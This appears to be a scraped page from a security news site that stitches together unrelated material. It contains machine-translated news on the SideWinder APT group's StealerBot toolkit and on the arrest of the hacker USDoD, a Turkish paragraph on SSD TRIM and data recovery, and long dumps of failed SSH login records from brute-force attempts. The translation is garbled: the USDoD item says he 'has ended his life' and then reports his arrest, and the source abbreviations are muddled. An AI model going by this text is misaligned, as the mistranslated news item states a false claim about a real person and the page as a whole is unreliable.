ForenSec

Researchers from Kaspersky Lab report a previously undocumented arsenal of APT SideWinder that is used by the group during the post-exploitation phase. SideWinder (aka T-APT-04 or RattleSnake) continues to be one of the most active APT groups, having started operating in 2012 and was first publicly mentioned by LK back in 2018 . Over the years, the group has carried out attacks on high-profile organizations in South and Southeast Asia. Its primary targets have been military and government organizations in Pakistan, Sri Lanka, China, and Nepal. Over the years, SideWinder has carried out an impressive number of attacks, and its activities have been detailed in various security reports (e.g. here , here , and here ), with one of the most recent being released in July 2024. The group is generally considered a low-skilled actor due to its use of public exploits, malicious LNK files and scripts as infection vectors, and use of public RATs, but a thorough analysis has shown that the APT's actual capabilities are impressive. Yet despite years of observation and research, the post-hack activity phase remains poorly understood. During the investigation, LK was able to uncover new campaigns that demonstrate a significant expansion of the group's activities. SideWinder has targeted organizations in several countries: Bangladesh, Djibouti, Jordan, Malaysia, Maldives, Myanmar, Nepal, Pakistan, Saudi Arabia, Sri Lanka, Turkey, and the United Arab Emirates. Target sectors include government and military organizations, logistics, infrastructure and telecommunications companies, financial institutions, universities and oil trading companies. In addition, SideWinder also targeted diplomatic missions in the following countries: Afghanistan, France, China, India, Indonesia and Morocco. Additionally, the researchers discovered and studied a previously unknown post-exploitation toolkit called StealerBot, an advanced modular implant designed specifically for cyber espionage. The LC believes that StealerBot is currently one of the main tools at the post-exploitation stage used by APT on targets of interest. A detailed technical analysis of the SideWinder APT attack chain and arsenal with indicators of compromise is available in the report .

The hacker USDoD (aka EquationCorp), who delighted the cyber underground with serious incidents such as the multi-million dollar leak of National Public Data and the hacking of the FBI's InfraGard information exchange portal, has ended his life ; he was arrested in Brazil. The news, of course, is not news, because we have previously reported that the desire for self-promotion and vanity, combined with leaky OpSec, led researchers to the hacker's trail. Finding it physically, as you can see, was not particularly difficult. USDoD finally managed to dig into CrowdStrike and leaked their IOC lists online, which was a fatal event, after which Brazilian publishing house Techmundo received an anonymous report from researchers with data on the identity of the attacker. However, oddly enough, USDoD confirmed CrowdStrike's information in an interview with HackRead and said that he actually lives in Brazil. Probably using this information, the Brazilian Federal Police (PF) captured the hacker and reported his arrest in Belo Horizonte. The official reason for the arrest and search at the place of residence was the incidents of May 22, 2020 and February 22, 2022, when USDoD leaked data from local police officers. In response, the security forces initiated Operation Data Breach, so now USDoD faces up to 7 years in prison, but for some reason it seems that he will not go to jail, perhaps only on paper. But we'll see.

3 adet donör disk harcanarak kurtarıldı 🔥

TRIM Nedir ve Neden Veri Kurtarmayı Zorlaştırır? TRIM, SSD'lerin performansını artırmak için kullanılan bir özelliktir. İşletim sistemi, bir dosyayı sildiğinizde SSD'ye bu bloğun artık kullanılmadığını bildirir ve SSD de bu bloğu temizleyerek yeni verilere hazır hale getirir. Bu sayede SSD daha hızlı çalışır ancak silinen verilerin geri kazanılması zorlaşır. Verilerin Üzerine Yazılması: TRIM sayesinde boşaltılan bloklara hemen yeni veriler yazılır. Bu da eski verilerin üzerine yeni verilerin yazılmasına ve kalıcı olarak silinmesine neden olur. Veri kurtarma işleminin başarısı, desteklenen tüm marka ve modellerde veri kaybının nedenine, SSD'nin modeline, TRIM komutunun ne sıklıkla çalıştığına ve diğer birçok faktöre bağlıdır. Özellikle SSD disklerden veri kurtarma işlemi, uzmanlık gerektiren bir işlemdir. Yanlış müdahaleler, verilerin tamamen kaybolmasına neden olabilir. Veri kurtarma işlemi, karmaşık ve riskli bir süreçtir. Bu nedenle, önemli verilerinizi düzenli olarak yedeklemeniz, olası veri kayıplarına karşı en iyi önlemdir Bu konuda başka sorularınız varsa çekinmeden sorabilirsiniz.

admin ssh:notty 81.166.142.226 Fri Oct 11 12:34 - 12:34 (00:00) admin ssh:notty 81.166.142.226 Fri Oct 11 12:34 - 12:34 (00:00) admin ssh:notty 81.166.142.226 Fri Oct 11 12:34 - 12:34 (00:00) admin ssh:notty 81.166.142.226 Fri Oct 11 12:34 - 12:34 (00:00) admin ssh:notty 81.166.142.226 Fri Oct 11 12:33 - 12:33 (00:00) admin ssh:notty 81.166.142.226 Fri Oct 11 12:33 - 12:33 (00:00) admin ssh:notty 81.166.142.226 Fri Oct 11 12:33 - 12:33 (00:00) root ssh:notty 81.166.142.226 Fri Oct 11 12:33 - 12:33 (00:00) root ssh:notty 81.166.142.226 Fri Oct 11 12:33 - 12:33 (00:00) root ssh:notty 81.166.142.226 Fri Oct 11 12:33 - 12:33 (00:00) root ssh:notty 81.166.142.226 Fri Oct 11 12:33 - 12:33 (00:00) root ssh:notty 81.166.142.226 Fri Oct 11 12:33 - 12:33 (00:00) root ssh:notty 81.166.142.226 Fri Oct 11 12:33 - 12:33 (00:00) root ssh:notty 81.166.142.226 Fri Oct 11 12:33 - 12:33 (00:00) root ssh:notty 81.166.142.226 Fri Oct 11 12:33 - 12:33 (00:00) root ssh:notty 81.166.142.226 Fri Oct 11 12:33 - 12:33 (00:00) root ssh:notty 81.166.142.226 Fri Oct 11 12:33 - 12:33 (00:00) root ssh:notty 81.166.142.226 Fri Oct 11 12:33 - 12:33 (00:00) root ssh:notty 81.166.142.226 Fri Oct 11 12:33 - 12:33 (00:00) root ssh:notty 81.166.142.226 Fri Oct 11 12:33 - 12:33 (00:00) root ssh:notty 81.166.142.226 Fri Oct 11 12:32 - 12:32 (00:00) root ssh:notty 81.166.142.226 Fri Oct 11 12:32 - 12:32 (00:00) root ssh:notty 81.166.142.226 Fri Oct 11 12:32 - 12:32 (00:00) root ssh:notty 81.166.142.226 Fri Oct 11 12:32 - 12:32 (00:00) root ssh:notty 81.166.142.226 Fri Oct 11 12:32 - 12:32 (00:00) root ssh:notty 81.166.142.226 Fri Oct 11 12:32 - 12:32 (00:00) root ssh:notty 92.255.85.107 Fri Oct 11 12:23 - 12:23 (00:00) support ssh:notty 92.255.85.253 Fri Oct 11 11:58 - 11:58 (00:00) support ssh:notty 92.255.85.253 Fri Oct 11 11:58 - 11:58 (00:00) root ssh:notty 220.178.8.154 Fri Oct 11 11:38 - 11:38 (00:00) root ssh:notty 220.178.8.154 Fri Oct 11 11:38 - 11:38 (00:00) root ssh:notty 220.178.8.154 Fri Oct 11 11:38 - 11:38 (00:00) root ssh:notty 220.178.8.154 Fri Oct 11 11:38 - 11:38 (00:00) root ssh:notty 220.178.8.154 Fri Oct 11 11:38 - 11:38 (00:00) root ssh:notty 220.178.8.154 Fri Oct 11 11:38 - 11:38 (00:00)

test ssh:notty 81.166.142.226 Fri Oct 11 12:36 - 12:36 (00:00) test ssh:notty 81.166.142.226 Fri Oct 11 12:36 - 12:36 (00:00) test ssh:notty 81.166.142.226 Fri Oct 11 12:36 - 12:36 (00:00) test ssh:notty 81.166.142.226 Fri Oct 11 12:36 - 12:36 (00:00) test ssh:notty 81.166.142.226 Fri Oct 11 12:36 - 12:36 (00:00) test ssh:notty 81.166.142.226 Fri Oct 11 12:36 - 12:36 (00:00) usuario ssh:notty 81.166.142.226 Fri Oct 11 12:36 - 12:36 (00:00) usuario ssh:notty 81.166.142.226 Fri Oct 11 12:36 - 12:36 (00:00) usuario ssh:notty 81.166.142.226 Fri Oct 11 12:36 - 12:36 (00:00) usuario ssh:notty 81.166.142.226 Fri Oct 11 12:36 - 12:36 (00:00) usuario ssh:notty 81.166.142.226 Fri Oct 11 12:36 - 12:36 (00:00) usuario ssh:notty 81.166.142.226 Fri Oct 11 12:36 - 12:36 (00:00) usuario ssh:notty 81.166.142.226 Fri Oct 11 12:36 - 12:36 (00:00) usuario ssh:notty 81.166.142.226 Fri Oct 11 12:36 - 12:36 (00:00) usuario ssh:notty 81.166.142.226 Fri Oct 11 12:36 - 12:36 (00:00) usuario ssh:notty 81.166.142.226 Fri Oct 11 12:36 - 12:36 (00:00) usuario ssh:notty 81.166.142.226 Fri Oct 11 12:36 - 12:36 (00:00) usuario ssh:notty 81.166.142.226 Fri Oct 11 12:36 - 12:36 (00:00) usuario ssh:notty 81.166.142.226 Fri Oct 11 12:36 - 12:36 (00:00) usuario ssh:notty 81.166.142.226 Fri Oct 11 12:36 - 12:36 (00:00) usuario ssh:notty 81.166.142.226 Fri Oct 11 12:35 - 12:35 (00:00) usuario ssh:notty 81.166.142.226 Fri Oct 11 12:35 - 12:35 (00:00) usuario ssh:notty 81.166.142.226 Fri Oct 11 12:35 - 12:35 (00:00) usuario ssh:notty 81.166.142.226 Fri Oct 11 12:35 - 12:35 (00:00) usuario ssh:notty 81.166.142.226 Fri Oct 11 12:35 - 12:35 (00:00) oracle ssh:notty 81.166.142.226 Fri Oct 11 12:35 - 12:35 (00:00) oracle ssh:notty 81.166.142.226 Fri Oct 11 12:35 - 12:35 (00:00) oracle ssh:notty 81.166.142.226 Fri Oct 11 12:35 - 12:35 (00:00) oracle ssh:notty 81.166.142.226 Fri Oct 11 12:35 - 12:35 (00:00) oracle ssh:notty 81.166.142.226 Fri Oct 11 12:35 - 12:35 (00:00) oracle ssh:notty 81.166.142.226 Fri Oct 11 12:35 - 12:35 (00:00) oracle ssh:notty 81.166.142.226 Fri Oct 11 12:35 - 12:35 (00:00) oracle ssh:notty 81.166.142.226 Fri Oct 11 12:35 - 12:35 (00:00) oracle ssh:notty 81.166.142.226 Fri Oct 11 12:35 - 12:35 (00:00) oracle ssh:notty 81.166.142.226 Fri Oct 11 12:35 - 12:35 (00:00) oracle ssh:notty 81.166.142.226 Fri Oct 11 12:35 - 12:35 (00:00) oracle ssh:notty 81.166.142.226 Fri Oct 11 12:35 - 12:35 (00:00) oracle ssh:notty 81.166.142.226 Fri Oct 11 12:35 - 12:35 (00:00) oracle ssh:notty 81.166.142.226 Fri Oct 11 12:35 - 12:35 (00:00) oracle ssh:notty 81.166.142.226 Fri Oct 11 12:35 - 12:35 (00:00) oracle ssh:notty 81.166.142.226 Fri Oct 11 12:35 - 12:35 (00:00) oracle ssh:notty 81.166.142.226 Fri Oct 11 12:34 - 12:34 (00:00) oracle ssh:notty 81.166.142.226 Fri Oct 11 12:34 - 12:34 (00:00) oracle ssh:notty 81.166.142.226 Fri Oct 11 12:34 - 12:34 (00:00) admin ssh:notty 81.166.142.226 Fri Oct 11 12:34 - 12:34 (00:00) admin ssh:notty 81.166.142.226 Fri Oct 11 12:34 - 12:34 (00:00) admin ssh:notty 81.166.142.226 Fri Oct 11 12:34 - 12:34 (00:00) admin ssh:notty 81.166.142.226 Fri Oct 11 12:34 - 12:34 (00:00) admin ssh:notty 81.166.142.226 Fri Oct 11 12:34 - 12:34 (00:00) admin ssh:notty 81.166.142.226 Fri Oct 11 12:34 - 12:34 (00:00) admin ssh:notty 81.166.142.226 Fri Oct 11 12:34 - 12:34 (00:00) admin ssh:notty 81.166.142.226 Fri Oct 11 12:34 - 12:34 (00:00) admin ssh:notty 81.166.142.226 Fri Oct 11 12:34 - 12:34 (00:00) admin ssh:notty 81.166.142.226 Fri Oct 11 12:34 - 12:34 (00:00) admin ssh:notty 81.166.142.226 Fri Oct 11 12:34 - 12:34 (00:00) admin ssh:notty 81.166.142.226 Fri Oct 11 12:34 - 12:34 (00:00)

test1 ssh:notty 81.166.142.226 Fri Oct 11 12:39 - 12:39 (00:00) test1 ssh:notty 81.166.142.226 Fri Oct 11 12:39 - 12:39 (00:00) test1 ssh:notty 81.166.142.226 Fri Oct 11 12:39 - 12:39 (00:00) ftpuser ssh:notty 81.166.142.226 Fri Oct 11 12:39 - 12:39 (00:00) ftpuser ssh:notty 81.166.142.226 Fri Oct 11 12:39 - 12:39 (00:00) ftpuser ssh:notty 81.166.142.226 Fri Oct 11 12:39 - 12:39 (00:00) ftpuser ssh:notty 81.166.142.226 Fri Oct 11 12:39 - 12:39 (00:00) ftpuser ssh:notty 81.166.142.226 Fri Oct 11 12:39 - 12:39 (00:00) ftpuser ssh:notty 81.166.142.226 Fri Oct 11 12:39 - 12:39 (00:00) ftpuser ssh:notty 81.166.142.226 Fri Oct 11 12:39 - 12:39 (00:00) ftpuser ssh:notty 81.166.142.226 Fri Oct 11 12:39 - 12:39 (00:00) ftpuser ssh:notty 81.166.142.226 Fri Oct 11 12:39 - 12:39 (00:00) ftpuser ssh:notty 81.166.142.226 Fri Oct 11 12:38 - 12:38 (00:00) ftpuser ssh:notty 81.166.142.226 Fri Oct 11 12:38 - 12:38 (00:00) ftpuser ssh:notty 81.166.142.226 Fri Oct 11 12:38 - 12:38 (00:00) ftpuser ssh:notty 81.166.142.226 Fri Oct 11 12:38 - 12:38 (00:00) ftpuser ssh:notty 81.166.142.226 Fri Oct 11 12:38 - 12:38 (00:00) ftpuser ssh:notty 81.166.142.226 Fri Oct 11 12:38 - 12:38 (00:00) ftpuser ssh:notty 81.166.142.226 Fri Oct 11 12:38 - 12:38 (00:00) ftpuser ssh:notty 81.166.142.226 Fri Oct 11 12:38 - 12:38 (00:00) ftpuser ssh:notty 81.166.142.226 Fri Oct 11 12:38 - 12:38 (00:00) ftpuser ssh:notty 81.166.142.226 Fri Oct 11 12:38 - 12:38 (00:00) user ssh:notty 81.166.142.226 Fri Oct 11 12:38 - 12:38 (00:00) user ssh:notty 81.166.142.226 Fri Oct 11 12:38 - 12:38 (00:00) user ssh:notty 81.166.142.226 Fri Oct 11 12:38 - 12:38 (00:00) user ssh:notty 81.166.142.226 Fri Oct 11 12:38 - 12:38 (00:00) user ssh:notty 81.166.142.226 Fri Oct 11 12:38 - 12:38 (00:00) user ssh:notty 81.166.142.226 Fri Oct 11 12:38 - 12:38 (00:00) user ssh:notty 81.166.142.226 Fri Oct 11 12:38 - 12:38 (00:00) user ssh:notty 81.166.142.226 Fri Oct 11 12:38 - 12:38 (00:00) user ssh:notty 81.166.142.226 Fri Oct 11 12:38 - 12:38 (00:00) user ssh:notty 81.166.142.226 Fri Oct 11 12:38 - 12:38 (00:00) user ssh:notty 81.166.142.226 Fri Oct 11 12:37 - 12:37 (00:00) user ssh:notty 81.166.142.226 Fri Oct 11 12:37 - 12:37 (00:00) user ssh:notty 81.166.142.226 Fri Oct 11 12:37 - 12:37 (00:00) user ssh:notty 81.166.142.226 Fri Oct 11 12:37 - 12:37 (00:00) user ssh:notty 81.166.142.226 Fri Oct 11 12:37 - 12:37 (00:00) user ssh:notty 81.166.142.226 Fri Oct 11 12:37 - 12:37 (00:00) user ssh:notty 81.166.142.226 Fri Oct 11 12:37 - 12:37 (00:00) user ssh:notty 81.166.142.226 Fri Oct 11 12:37 - 12:37 (00:00) user ssh:notty 81.166.142.226 Fri Oct 11 12:37 - 12:37 (00:00) test ssh:notty 81.166.142.226 Fri Oct 11 12:37 - 12:37 (00:00) Xhash ssh:notty 1.234.70.108 Fri Oct 11 12:37 - 12:37 (00:00) test ssh:notty 81.166.142.226 Fri Oct 11 12:37 - 12:37 (00:00) Xhash ssh:notty 1.234.70.108 Fri Oct 11 12:37 - 12:37 (00:00) test ssh:notty 81.166.142.226 Fri Oct 11 12:37 - 12:37 (00:00) test ssh:notty 81.166.142.226 Fri Oct 11 12:37 - 12:37 (00:00) test ssh:notty 81.166.142.226 Fri Oct 11 12:37 - 12:37 (00:00) test ssh:notty 81.166.142.226 Fri Oct 11 12:37 - 12:37 (00:00) test ssh:notty 81.166.142.226 Fri Oct 11 12:37 - 12:37 (00:00) test ssh:notty 81.166.142.226 Fri Oct 11 12:37 - 12:37 (00:00) test ssh:notty 81.166.142.226 Fri Oct 11 12:37 - 12:37 (00:00) test ssh:notty 81.166.142.226 Fri Oct 11 12:37 - 12:37 (00:00) test ssh:notty 81.166.142.226 Fri Oct 11 12:37 - 12:37 (00:00) test ssh:notty 81.166.142.226 Fri Oct 11 12:37 - 12:37 (00:00) test ssh:notty 81.166.142.226 Fri Oct 11 12:37 - 12:37 (00:00)

ubuntu ssh:notty 81.166.142.226 Fri Oct 11 12:42 - 12:42 (00:00) ubuntu ssh:notty 81.166.142.226 Fri Oct 11 12:42 - 12:42 (00:00) ubuntu ssh:notty 81.166.142.226 Fri Oct 11 12:42 - 12:42 (00:00) ubuntu ssh:notty 81.166.142.226 Fri Oct 11 12:42 - 12:42 (00:00) ubuntu ssh:notty 81.166.142.226 Fri Oct 11 12:42 - 12:42 (00:00) ubuntu ssh:notty 81.166.142.226 Fri Oct 11 12:41 - 12:41 (00:00) ubuntu ssh:notty 81.166.142.226 Fri Oct 11 12:41 - 12:41 (00:00) ubuntu ssh:notty 81.166.142.226 Fri Oct 11 12:41 - 12:41 (00:00) ubuntu ssh:notty 81.166.142.226 Fri Oct 11 12:41 - 12:41 (00:00) ubuntu ssh:notty 81.166.142.226 Fri Oct 11 12:41 - 12:41 (00:00) ubuntu ssh:notty 81.166.142.226 Fri Oct 11 12:41 - 12:41 (00:00) ubuntu ssh:notty 81.166.142.226 Fri Oct 11 12:41 - 12:41 (00:00) ubuntu ssh:notty 81.166.142.226 Fri Oct 11 12:41 - 12:41 (00:00) ubuntu ssh:notty 81.166.142.226 Fri Oct 11 12:41 - 12:41 (00:00) ubuntu ssh:notty 81.166.142.226 Fri Oct 11 12:41 - 12:41 (00:00) ubuntu ssh:notty 81.166.142.226 Fri Oct 11 12:41 - 12:41 (00:00) ubuntu ssh:notty 81.166.142.226 Fri Oct 11 12:41 - 12:41 (00:00) contador ssh:notty 81.166.142.226 Fri Oct 11 12:41 - 12:41 (00:00) contador ssh:notty 81.166.142.226 Fri Oct 11 12:41 - 12:41 (00:00) contador ssh:notty 81.166.142.226 Fri Oct 11 12:41 - 12:41 (00:00) contador ssh:notty 81.166.142.226 Fri Oct 11 12:41 - 12:41 (00:00) test2 ssh:notty 81.166.142.226 Fri Oct 11 12:41 - 12:41 (00:00) test2 ssh:notty 81.166.142.226 Fri Oct 11 12:41 - 12:41 (00:00) test2 ssh:notty 81.166.142.226 Fri Oct 11 12:41 - 12:41 (00:00) test2 ssh:notty 81.166.142.226 Fri Oct 11 12:41 - 12:41 (00:00) test2 ssh:notty 81.166.142.226 Fri Oct 11 12:41 - 12:41 (00:00) test2 ssh:notty 81.166.142.226 Fri Oct 11 12:41 - 12:41 (00:00) test2 ssh:notty 81.166.142.226 Fri Oct 11 12:41 - 12:41 (00:00) test2 ssh:notty 81.166.142.226 Fri Oct 11 12:40 - 12:40 (00:00) test2 ssh:notty 81.166.142.226 Fri Oct 11 12:40 - 12:40 (00:00) test2 ssh:notty 81.166.142.226 Fri Oct 11 12:40 - 12:40 (00:00) test2 ssh:notty 81.166.142.226 Fri Oct 11 12:40 - 12:40 (00:00) test2 ssh:notty 81.166.142.226 Fri Oct 11 12:40 - 12:40 (00:00) test2 ssh:notty 81.166.142.226 Fri Oct 11 12:40 - 12:40 (00:00) test2 ssh:notty 81.166.142.226 Fri Oct 11 12:40 - 12:40 (00:00) test2 ssh:notty 81.166.142.226 Fri Oct 11 12:40 - 12:40 (00:00) test2 ssh:notty 81.166.142.226 Fri Oct 11 12:40 - 12:40 (00:00) test2 ssh:notty 81.166.142.226 Fri Oct 11 12:40 - 12:40 (00:00) test2 ssh:notty 81.166.142.226 Fri Oct 11 12:40 - 12:40 (00:00) test2 ssh:notty 81.166.142.226 Fri Oct 11 12:40 - 12:40 (00:00) test1 ssh:notty 81.166.142.226 Fri Oct 11 12:40 - 12:40 (00:00) test1 ssh:notty 81.166.142.226 Fri Oct 11 12:40 - 12:40 (00:00) test1 ssh:notty 81.166.142.226 Fri Oct 11 12:40 - 12:40 (00:00) test1 ssh:notty 81.166.142.226 Fri Oct 11 12:40 - 12:40 (00:00) test1 ssh:notty 81.166.142.226 Fri Oct 11 12:40 - 12:40 (00:00) test1 ssh:notty 81.166.142.226 Fri Oct 11 12:40 - 12:40 (00:00) test1 ssh:notty 81.166.142.226 Fri Oct 11 12:40 - 12:40 (00:00) test1 ssh:notty 81.166.142.226 Fri Oct 11 12:40 - 12:40 (00:00) test1 ssh:notty 81.166.142.226 Fri Oct 11 12:40 - 12:40 (00:00) test1 ssh:notty 81.166.142.226 Fri Oct 11 12:40 - 12:40 (00:00) test1 ssh:notty 81.166.142.226 Fri Oct 11 12:39 - 12:39 (00:00) test1 ssh:notty 81.166.142.226 Fri Oct 11 12:39 - 12:39 (00:00) test1 ssh:notty 81.166.142.226 Fri Oct 11 12:39 - 12:39 (00:00) test1 ssh:notty 81.166.142.226 Fri Oct 11 12:39 - 12:39 (00:00) test1 ssh:notty 81.166.142.226 Fri Oct 11 12:39 - 12:39 (00:00) test1 ssh:notty 81.166.142.226 Fri Oct 11 12:39 - 12:39 (00:00)

admin ssh:notty 115.160.110.96 Fri Oct 11 17:13 - 17:13 (00:00) admin ssh:notty 115.160.110.96 Fri Oct 11 17:13 - 17:13 (00:00) admin ssh:notty 115.160.110.96 Fri Oct 11 17:13 - 17:13 (00:00) admin ssh:notty 115.160.110.96 Fri Oct 11 17:13 - 17:13 (00:00) admin ssh:notty 115.160.110.96 Fri Oct 11 17:13 - 17:13 (00:00) admin ssh:notty 115.160.110.96 Fri Oct 11 17:13 - 17:13 (00:00) admin ssh:notty 115.160.110.96 Fri Oct 11 17:13 - 17:13 (00:00) admin ssh:notty 115.160.110.96 Fri Oct 11 17:13 - 17:13 (00:00) admin ssh:notty 115.160.110.96 Fri Oct 11 17:13 - 17:13 (00:00) admin ssh:notty 115.160.110.96 Fri Oct 11 17:13 - 17:13 (00:00) admin ssh:notty 115.160.110.96 Fri Oct 11 17:12 - 17:12 (00:00) admin ssh:notty 115.160.110.96 Fri Oct 11 17:12 - 17:12 (00:00) admin ssh:notty 115.160.110.96 Fri Oct 11 17:12 - 17:12 (00:00) admin ssh:notty 115.160.110.96 Fri Oct 11 17:12 - 17:12 (00:00) admin ssh:notty 115.160.110.96 Fri Oct 11 17:12 - 17:12 (00:00) root ssh:notty 115.160.110.96 Fri Oct 11 17:12 - 17:12 (00:00) root ssh:notty 115.160.110.96 Fri Oct 11 17:12 - 17:12 (00:00) root ssh:notty 115.160.110.96 Fri Oct 11 17:12 - 17:12 (00:00) root ssh:notty 115.160.110.96 Fri Oct 11 17:12 - 17:12 (00:00) root ssh:notty 115.160.110.96 Fri Oct 11 17:12 - 17:12 (00:00) root ssh:notty 115.160.110.96 Fri Oct 11 17:12 - 17:12 (00:00) root ssh:notty 115.160.110.96 Fri Oct 11 17:12 - 17:12 (00:00) root ssh:notty 115.160.110.96 Fri Oct 11 17:12 - 17:12 (00:00) root ssh:notty 115.160.110.96 Fri Oct 11 17:12 - 17:12 (00:00) root ssh:notty 115.160.110.96 Fri Oct 11 17:12 - 17:12 (00:00) root ssh:notty 115.160.110.96 Fri Oct 11 17:12 - 17:12 (00:00) root ssh:notty 115.160.110.96 Fri Oct 11 17:11 - 17:11 (00:00) root ssh:notty 115.160.110.96 Fri Oct 11 17:11 - 17:11 (00:00) root ssh:notty 115.160.110.96 Fri Oct 11 17:11 - 17:11 (00:00) root ssh:notty 115.160.110.96 Fri Oct 11 17:11 - 17:11 (00:00) root ssh:notty 115.160.110.96 Fri Oct 11 17:11 - 17:11 (00:00) root ssh:notty 115.160.110.96 Fri Oct 11 17:11 - 17:11 (00:00) root ssh:notty 115.160.110.96 Fri Oct 11 17:11 - 17:11 (00:00) root ssh:notty 115.160.110.96 Fri Oct 11 17:11 - 17:11 (00:00) ssh:notty 64.62.156.76 Fri Oct 11 17:05 - 17:05 (00:00) root ssh:notty 92.255.85.107 Fri Oct 11 16:39 - 16:39 (00:00) wqmarldu ssh:notty 117.50.187.119 Fri Oct 11 16:03 - 16:03 (00:00) admin ssh:notty 92.255.85.253 Fri Oct 11 15:57 - 15:57 (00:00) admin ssh:notty 92.255.85.253 Fri Oct 11 15:57 - 15:57 (00:00) root ssh:notty 92.255.85.107 Fri Oct 11 15:35 - 15:35 (00:00) root ssh:notty 92.255.85.253 Fri Oct 11 14:57 - 14:57 (00:00) root ssh:notty 212.64.218.24 Fri Oct 11 14:44 - 14:44 (00:00) root ssh:notty 92.255.85.107 Fri Oct 11 14:30 - 14:30 (00:00) user ssh:notty 92.255.85.253 Fri Oct 11 13:58 - 13:58 (00:00) user ssh:notty 92.255.85.253 Fri Oct 11 13:58 - 13:58 (00:00) root ssh:notty 120.195.38.73 Fri Oct 11 13:53 - 13:53 (00:00) root ssh:notty 92.255.85.107 Fri Oct 11 13:27 - 13:27 (00:00) telecoma ssh:notty 92.255.85.253 Fri Oct 11 12:58 - 12:58 (00:00) telecoma ssh:notty 92.255.85.253 Fri Oct 11 12:58 - 12:58 (00:00) baikal ssh:notty 81.166.142.226 Fri Oct 11 12:42 - 12:42 (00:00) baikal ssh:notty 81.166.142.226 Fri Oct 11 12:42 - 12:42 (00:00) pi ssh:notty 81.166.142.226 Fri Oct 11 12:42 - 12:42 (00:00) pi ssh:notty 81.166.142.226 Fri Oct 11 12:42 - 12:42 (00:00) pi ssh:notty 81.166.142.226 Fri Oct 11 12:42 - 12:42 (00:00) pi ssh:notty 81.166.142.226 Fri Oct 11 12:42 - 12:42 (00:00) ubuntu ssh:notty 81.166.142.226 Fri Oct 11 12:42 - 12:42 (00:00)

test ssh:notty 115.160.110.96 Fri Oct 11 17:16 - 17:16 (00:00) test ssh:notty 115.160.110.96 Fri Oct 11 17:16 - 17:16 (00:00) test ssh:notty 115.160.110.96 Fri Oct 11 17:16 - 17:16 (00:00) test ssh:notty 115.160.110.96 Fri Oct 11 17:16 - 17:16 (00:00) test ssh:notty 115.160.110.96 Fri Oct 11 17:16 - 17:16 (00:00) test ssh:notty 115.160.110.96 Fri Oct 11 17:15 - 17:15 (00:00) test ssh:notty 115.160.110.96 Fri Oct 11 17:15 - 17:15 (00:00) test ssh:notty 115.160.110.96 Fri Oct 11 17:15 - 17:15 (00:00) test ssh:notty 115.160.110.96 Fri Oct 11 17:15 - 17:15 (00:00) test ssh:notty 115.160.110.96 Fri Oct 11 17:15 - 17:15 (00:00) test ssh:notty 115.160.110.96 Fri Oct 11 17:15 - 17:15 (00:00) test ssh:notty 115.160.110.96 Fri Oct 11 17:15 - 17:15 (00:00) test ssh:notty 115.160.110.96 Fri Oct 11 17:15 - 17:15 (00:00) test ssh:notty 115.160.110.96 Fri Oct 11 17:15 - 17:15 (00:00) usuario ssh:notty 115.160.110.96 Fri Oct 11 17:15 - 17:15 (00:00) usuario ssh:notty 115.160.110.96 Fri Oct 11 17:15 - 17:15 (00:00) usuario ssh:notty 115.160.110.96 Fri Oct 11 17:15 - 17:15 (00:00) usuario ssh:notty 115.160.110.96 Fri Oct 11 17:15 - 17:15 (00:00) usuario ssh:notty 115.160.110.96 Fri Oct 11 17:15 - 17:15 (00:00) usuario ssh:notty 115.160.110.96 Fri Oct 11 17:15 - 17:15 (00:00) usuario ssh:notty 115.160.110.96 Fri Oct 11 17:15 - 17:15 (00:00) usuario ssh:notty 115.160.110.96 Fri Oct 11 17:15 - 17:15 (00:00) usuario ssh:notty 115.160.110.96 Fri Oct 11 17:15 - 17:15 (00:00) usuario ssh:notty 115.160.110.96 Fri Oct 11 17:15 - 17:15 (00:00) usuario ssh:notty 115.160.110.96 Fri Oct 11 17:15 - 17:15 (00:00) usuario ssh:notty 115.160.110.96 Fri Oct 11 17:14 - 17:14 (00:00) usuario ssh:notty 115.160.110.96 Fri Oct 11 17:14 - 17:14 (00:00) usuario ssh:notty 115.160.110.96 Fri Oct 11 17:14 - 17:14 (00:00) usuario ssh:notty 115.160.110.96 Fri Oct 11 17:14 - 17:14 (00:00) usuario ssh:notty 115.160.110.96 Fri Oct 11 17:14 - 17:14 (00:00) usuario ssh:notty 115.160.110.96 Fri Oct 11 17:14 - 17:14 (00:00) usuario ssh:notty 115.160.110.96 Fri Oct 11 17:14 - 17:14 (00:00) usuario ssh:notty 115.160.110.96 Fri Oct 11 17:14 - 17:14 (00:00) oracle ssh:notty 115.160.110.96 Fri Oct 11 17:14 - 17:14 (00:00) oracle ssh:notty 115.160.110.96 Fri Oct 11 17:14 - 17:14 (00:00) oracle ssh:notty 115.160.110.96 Fri Oct 11 17:14 - 17:14 (00:00) oracle ssh:notty 115.160.110.96 Fri Oct 11 17:14 - 17:14 (00:00) oracle ssh:notty 115.160.110.96 Fri Oct 11 17:14 - 17:14 (00:00) oracle ssh:notty 115.160.110.96 Fri Oct 11 17:14 - 17:14 (00:00) oracle ssh:notty 115.160.110.96 Fri Oct 11 17:14 - 17:14 (00:00) oracle ssh:notty 115.160.110.96 Fri Oct 11 17:14 - 17:14 (00:00) oracle ssh:notty 115.160.110.96 Fri Oct 11 17:14 - 17:14 (00:00) oracle ssh:notty 115.160.110.96 Fri Oct 11 17:14 - 17:14 (00:00) oracle ssh:notty 115.160.110.96 Fri Oct 11 17:14 - 17:14 (00:00) oracle ssh:notty 115.160.110.96 Fri Oct 11 17:13 - 17:13 (00:00) oracle ssh:notty 115.160.110.96 Fri Oct 11 17:13 - 17:13 (00:00) oracle ssh:notty 115.160.110.96 Fri Oct 11 17:13 - 17:13 (00:00) oracle ssh:notty 115.160.110.96 Fri Oct 11 17:13 - 17:13 (00:00) oracle ssh:notty 115.160.110.96 Fri Oct 11 17:13 - 17:13 (00:00) oracle ssh:notty 115.160.110.96 Fri Oct 11 17:13 - 17:13 (00:00) oracle ssh:notty 115.160.110.96 Fri Oct 11 17:13 - 17:13 (00:00) oracle ssh:notty 115.160.110.96 Fri Oct 11 17:13 - 17:13 (00:00) admin ssh:notty 115.160.110.96 Fri Oct 11 17:13 - 17:13 (00:00) admin ssh:notty 115.160.110.96 Fri Oct 11 17:13 - 17:13 (00:00) admin ssh:notty 115.160.110.96 Fri Oct 11 17:13 - 17:13 (00:00) admin ssh:notty 115.160.110.96 Fri Oct 11 17:13 - 17:13 (00:00)

